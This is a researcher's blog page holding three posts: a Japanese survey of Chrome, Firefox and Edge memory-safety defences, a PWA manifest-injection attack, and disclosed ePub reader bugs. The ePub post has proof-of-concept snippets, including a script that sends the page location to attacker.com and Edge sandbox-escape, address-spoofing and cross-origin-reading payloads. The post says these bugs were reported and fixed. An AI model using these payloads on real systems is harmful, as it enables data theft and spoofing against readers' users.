2017年12月31日日曜日

ブラウザ セキュリティの近状

7月中旬からEdgeのセキュリティの仕事を始めて、各ブラウザごとに面白いセキュリティの対策をしていることを学んだのでまとめてみる。ちなみに、僕が担当しているのはSOPバイパスなどのデザインレベルのバグですが、最近のブラウザ セキュリティで各社アツいのは「メモリ破壊を使った攻撃を設計レベルでどの様に悪用出来なくするか」という点なのでそこをまとめます。専門ではないので広く浅く(笑)

Chrome
Chromeはブラウザのサンドボックスに力を入れているブラウザです。Chromeの報奨金制度でもサンドボックスのバイパスが最高額で、レンダラRCEの倍額であることからも見てとれます。Chromeはそのサンドボックス技術を使ったSite Isolationという保護機能を開発しています。

Site Isolation
Chromeにはレンダラプロセスというウェブページを処理し表示するプロセスと、ブラウザプロセスというレンダラプロセスをマネージするプロセスがあります(詳細)。タブごとにレンダラプロセスが分かれていて各レンダラプロセスがサンドボックス内で動いている為、レンダラプロセスがメモリ破壊系のバグによって掌握されてしまった場合でもローカルディスクや別のレンダラプロセスにはアクセス出来ない設計になっています。しかしiframeなどを使うと、2つのサイトが1つのレンダラプロセス内に共存してしまう為、レンダラプロセスが掌握されるとUXSSなどに悪用出来てしまうという問題があります。実際にマイクロソフトのOSRチームがChromeのレンダラRCEを使って出来ることの詳細をまとめています。
長くなりましたが、Site Isolationはこの問題を解決するためにサイトごとにレンダラプロセスを分けて、セキュリティチェックをブラウザプロセスで行うというプロセスレベルでの保護機能です。これにより(理論的には)メモリ破壊の脆弱性だけではなくUXSSなどのデザインレベルのバグを使って別のサイトの情報を抜き取る攻撃も防ぐことが出来ます。Chrome 63の時点でちょっとした不具合はあるものの、ある程度安定した状態でこの機能を試すことが出来ます。Site Isolationが完成すれば、レンダラプロセスを掌握出来ても攻撃者が出来ることは殆どなくなると思われています。しかしSite Isolationはその名の通りサイト(ドメイン)の隔離であり、同一ドメイン内の別オリジンに対しては効力がありません。

Firefox
Firefoxは57からFirefox Quantumと名付けられた高速なブラウザをリリースしました。ここ10数年の中でFirefoxの一番大きなアップデートと言われていて、スピードなど色々な部分が改善されています。この中でFirefoxはStyloというCSSエンジンをリリースしました。Styloの何が凄いのかというとRust言語を使って書かれているというところです。

Rust
約10年ほど前、Mozillaの一部の人がCやC++言語を使って大規模で複雑なブラウザを開発をしながら同時に脆弱性を生まない様にするというのは不可能なのではないかと考えました。その為、C++言語並の速さを持ちながらメモリの安全性を保証出来る言語の開発を開始しました。それがRust言語です(この話の詳細)。RustはOwnershipやBorrowingなどのコンセプトを使って、2つの変数が同一のアドレスをさしていないかなど、脆弱性が生まれうる状況をコンパイル時に確認します。Rustのコンセプトが満たされ無い場合はコンパイルエラーとなりコンパイルが出来ません。その為、コンパイルされたコードはメモリの安全性が保証され、ランタイムの安全性確認が必要ありません(詳細)。
MozillaはこのRust言語を使って、Gecko(Firefoxのレンダリングエンジン)を置き換えるServoを作るプロジェクトを進めており、Servoの中でも既に安定しているStyloをFirefoxに先行投入してきたという状態です。その為、理論上(Unsafeを使って変なことをしない限り)FirefoxのCSSエンジンにはメモリ破壊の脆弱性が生まれなくなったということです。Servoが完成すれば、レンダリングエンジンでもその様な脆弱性は生まれなくなります。しかしメモリ破壊の脆弱性が見つかりやすいのはJavascriptエンジンであり、今後そこもRustを使って書き換えるのかに注目です。

Edge
Edgeはこれまで、他のブラウザとは対象的にメモリ破壊のバグがあっても、それを使って任意のコードが実行出来ない様にする保護機能に注力してきました。これにはCFGCIGやACGなどがあります(詳細)。そして今年のFall Creators Updateで、RCEとサンドボックスバイパスを持ってしてもPCの制御を奪われない、Windows Defender Application Guard(WDAG)という機能がリリースされました。

WDAG
WDAGはマイクロソフトのHyper-Vという仮想化システムの技術を使い、Edgeを動かすだけに必要な機能が入ったVM内で動きます(VMのサイズは18MB)。ユーザーからするとEdgeの新しいウィンドウを開いているだけの様な感覚ですが、WDAG内のEdgeはVM内で動いている為、実際にホストマシーンに攻撃したい場合は、RCE、カーネルのバグ、そしてVMエスケープを組み合わせないといけません(詳細)。ユーザはグループポリシーで安全なサイトのホワイトリストを作ることで、安全なサイトのみ普通のEdgeで開き、それ以外のサイトはWDAGを使って開くなどの設定をすることが出来ます。WDAGは現在Windows 10 Enterpriseのみ使える状態ですが、徐々に他のバージョンでも使える様になっていく予定です。


ということで、各ブラウザの近状をまとめて見ました。これから各ブラウザがどうなって行くのか楽しみですね!

それでは、良いお年を!

2017年10月7日土曜日

PWA - Progressive Web Attack

Today, I'm going to blog about PWA (Progressive Web Apps)🙂

These days, web is getting bit secure by the help of CSP, which turns XSS into HTML injection (or really nothing). Even if we find XSS in modern web apps without CSP, sometimes we can't make interesting exploit with an XSS.

But what if there is a way to install an app with browser's native UI, by using just an HTML injection?

Progressive Web Apps
PWA is a web app which has responsive UI and offline capability (using Service Worker, Cache API, etc). And this means that it's very close to native app.

But wait, we could do this with Application Cache too right? Well, PWA is installable. With the use of Web App Manifest.

Progressive Web Attack
Web App Manifest is really special. It has ability to trigger PWA installation prompt with Browser's UI. Simply just with link tag, pointing to manifest file which can be served from cross-origin (with any MIME type) 😆 

Let see how we can abuse this feature!

Suppose Victim site has offline capability, and there is an XSS in webpage which is inside the scope of Service Worker. But Victim site uses a production-quality strict CSP.

Victim site

Vulnerable page.

And here is how to trigger installation prompt.

First, make sure to access main page so that Service Worker is registered. And then, If you access above url with Chrome on Android, you should see below.


Sorry, my phone is Japanese, but clicking on "Add" button will download contents and create home icon in your phone. If you open the app, you will see below page.


This page simply frames attacker page. Since start page of the app is controlled by Attacker's manifest and app only has navigation capability provided by attacker (no address bar and no back or forward button), user is totally controlled by attacker. And goodbye to Victim site, user will use the app from now on!

This is all done by just an HTML injection 😆


BTW, I feel that installation prompt provided by browser isn't very good. It only shows Domain when prompting user. So any website which allows uploading user contents to subdomain (such as Shopify) might be used for phishing attack.

Anyways, there are some limitation of this technique.
  1. Link tag which points to manifest needs to be inside head tag.
  2. start_url needs to be on same-origin as the Victim site's origin.
  3. Navigating top document to cross-origin site would trigger address bar to show up even inside an app.
Last but not least, I think manifest should only be accepted when served from same origin. Specification needs to be more carefully thought (and should be changed, hopefully).

To protect against this kind of attack, make sure to set CSP manifest-src to 'none' if you don't use PWA (and AppCache) or any appropriate source if you use it.

Hope you enjoyed it!

2017年5月16日火曜日

Is your ePub reader secure enough?

Hi, this is my first (and last?) blog post in English. Sorry if there's any grammatical mistake, I'm not too fluent in English.

Today, I'll write about ePub file with some of my findings in ePub readers.

So What's ePub file?
EPUB is an e-book file format with the extension .epub that can be downloaded and read on devices like smartphones, tablets, computers, or e-readers.
And in technical implementation
An EPUB file is a ZIP archive that contains, in effect, a website—including HTML files, images, CSS style sheets, and other assets. It also contains metadata. EPUB 3 is the latest version. By using HTML5, publications can contain video, audio, and interactivity, just like websites in web browsers.
https://en.wikipedia.org/wiki/EPUB


In short, ePub file is a Zip archive that contains a Book built with web technologies such as (X)HTML files, CSS style sheets, images like SVG, and if Reader supports, it could contain JS, PDF, Flash, and so on.

Specification of ePub is published by IDPF. And some interesting points in the Spec are:

  1. Javascript support is optional. Reader may or may not support Javascript.
  2. EPUB Publication can create security considerations that are different from scripting within a Web browser.
But Spec does not talk about what scheme or protocol should Reader use to load ePub contents. So each reader has their own way of implementing this with or without JS.

Well, Let's see what could go wrong.


iBooks
iBooks is an ePub reader developed by Apple. It uses Webkit for rendering ePub contents and it supports Javascript.

While I was testing iBooks, I noticed something.


First thing I noticed was that they use file scheme to serve ePub contents. And second thing I noticed was they doesn't allow external website to load inside iframe but they do allow external image to be loaded. So just doing following could leak victim's PC user name.

<img>
<script>
document.querySelector(“img”).src = “http:// attacker.com/sample.png?” + location.href;
</script>

And even worse, Victim's local file could be leaked. See @craig_arendt's blog post for more details. And I also recommend you to read how he hacked online services using ePub file.

Back to the story, I tried to redirect ePub content to external website using script like location.replace(). But iBooks did not allow redirect. Seeing that iBooks prevents external iframe as well as redirect to external website, I was sure if I could find a way to do so, they would most likely consider it as a vulnerability. So after a bit of kick and punch, I came up with redirect.

<script>
setTimeout('location.replace("https://attacker.com")');
</script>

But instead of opening external website in iBooks, it opened website with default browser😬 Anyways, I've reported this and it's now fixed.


Adobe Digital Editions
ADE is ePub reader developed by Adobe. ADE on Windows uses IE for rendering ePub contents. Wondering how I came to know that ADE uses IE on Windows? See this.


Hehehe😜 Anyways, I won't talk about ADE much because I don't want to say something that Adobe might consider as a vulnerability. So below are the key points.

  1. Javascript is supported.
  2. ePub content is served from localhost.
  3. It's IE! Flash, Adobe Reader, and ActiveXObject are supported. Off course, port is not considered to be part of SOP
What else do you need?


Edge ePub Reader
Microsoft Edge has built-in ePub Reader. Edge ePub reader is different from previous readers in 2 ways.
  1. Javascript is restricted.
  2. You can read web hosted ePub files without download.
Now let's see their implementation!

When you navigate to ePub file, it seems like it's just loaded as it is. But in the backend, it is redirected to ms-epub protocol like below.



"location.host" part of ms-epub URL is random string and it changes every time you load ePub file.

Now let's see how Edge restricts Javascript in ePub reader.


So Edge ePub reader (bookviewer.htm) loads user content inside iframe sandbox with "allow-same-origin allow-popups". Because "allow-scripts" is not added to sandbox attribute, user content loses ability to execute Javascript.

So is it impossible to execute Javascript? Let's dig more deeper. While testing with ePub files, I noticed that website opened from ePub file could execute Javascript. That's strange😕 "allow-popups" will allow popups but popups created by sandboxed content should have affect of sandbox too. So in this case, web site opened by sandboxed content should not have ability to execute Javascript. Anyways, it seems like Edge implemented "allow-popups-to-escape-sandbox" silently inside ePub reader (Note that Edge does not support "allow-popups-to-escape-sandbox" yet). And more interestingly, opened website has opener set to bookviewer.htm, the ePub reader! So to execute Javascript in the context of ePub reader, we need to create a link which has script capability as well as same origin with ePub reader. Well, this must be it!!

<a href=“javascript:opener.alert(opener.location)”>Go!</a>



Yes!!! Now let's see if we have other way to execute Javascript. How about framing ePub file? But doing something like "<iframe src='https://shhnjk.com/test.epub'>" would download ePub file instead of loading them. What if we frame with ms-epub protocol like below?

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https%3A%2F%2Fshhnjk.com%2Ftest.epub”>


Yes!!! Even though "location.host" part of ms-epub was random string, we could reuse previously used string to load ePub file again! So we will load user content which contains script and game over right?

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”>


It seems like Edge can't load user content directly because Edge doesn't know where is this content served from. So let's teach Edge what we want her to load😀

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https://shhnjk.com/alert.epub”></iframe>
<script>
setTimeout(function(){
frames[0].location.replace(“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”)
},3000)
</script>

<!-- code in chapter-1.xhtml -->
<script>alert(location)</script>

First, we will load ePub file with bookviewer.htm so that Edge would know user content inside that ePub file. And then we will redirect frame to user content itself which contains Javascript. But as it's our iframe hosted on our website, there's no sandbox😎


Okay. We understood that we've bypassed the restriction 2 times and executed Javascript in the context of ePub reader. But how can we exploit this vulnerability? Well, I guess everyone noticed the url parameter in bookviewer.htm. It seems like whatever specified in url parameter is displayed in the address bar. So let's use this thought with first bypass.

<a href=“javascript:opener.location.search='?url=https://www.google.com';
opener.document.write('&lt;title&gt;Google&lt;/title&gt;This is Google.com'); window.close()”>Go</a>


Okay, this worked as expected! Further testing on url parameter, I noticed that we could actually load any cross origin ePub file using url parameter. And even if we change url parameter, origin of ePub reader remains same, so we have full access to content of cross origin ePub files!!

<!-- from attacker.com/evil.epub -->
<a href=“javascript:opener.location.search=‘?url=https://shhnjk.com/test.epub';setInterval(function(){alert(opener.frames[0].document.body.innerHTML)},1000)”>Go</a>


So we could abuse ePub reader JS execution to spoof address bar and also to steel information from cross origin ePub file.

The vulnerable version of ePub reader was only available to Windows Insiders for 3 months and after I reported this to MSRC, they've fundamentally fixed the ePub reader issues. So ePub reader release with Creators Update has some mitigations.

  1. Protocol has changed to ms-local-stream which is not framable (AFAIK)
  2. "location.host" part is no more reusable (same "location.host" on different frame or window wouldn't work anymore)
  3. url parameter has been removed (attacker needs to find new way to exploit even if they have JS execution on ePub reader)
This was great work from MSRC and EdgeDev in just 3 months! Thanks and awaiting for bounty💰😬


Sorry for the long post and thank you for reading!! Hope you enjoyed😁

Jun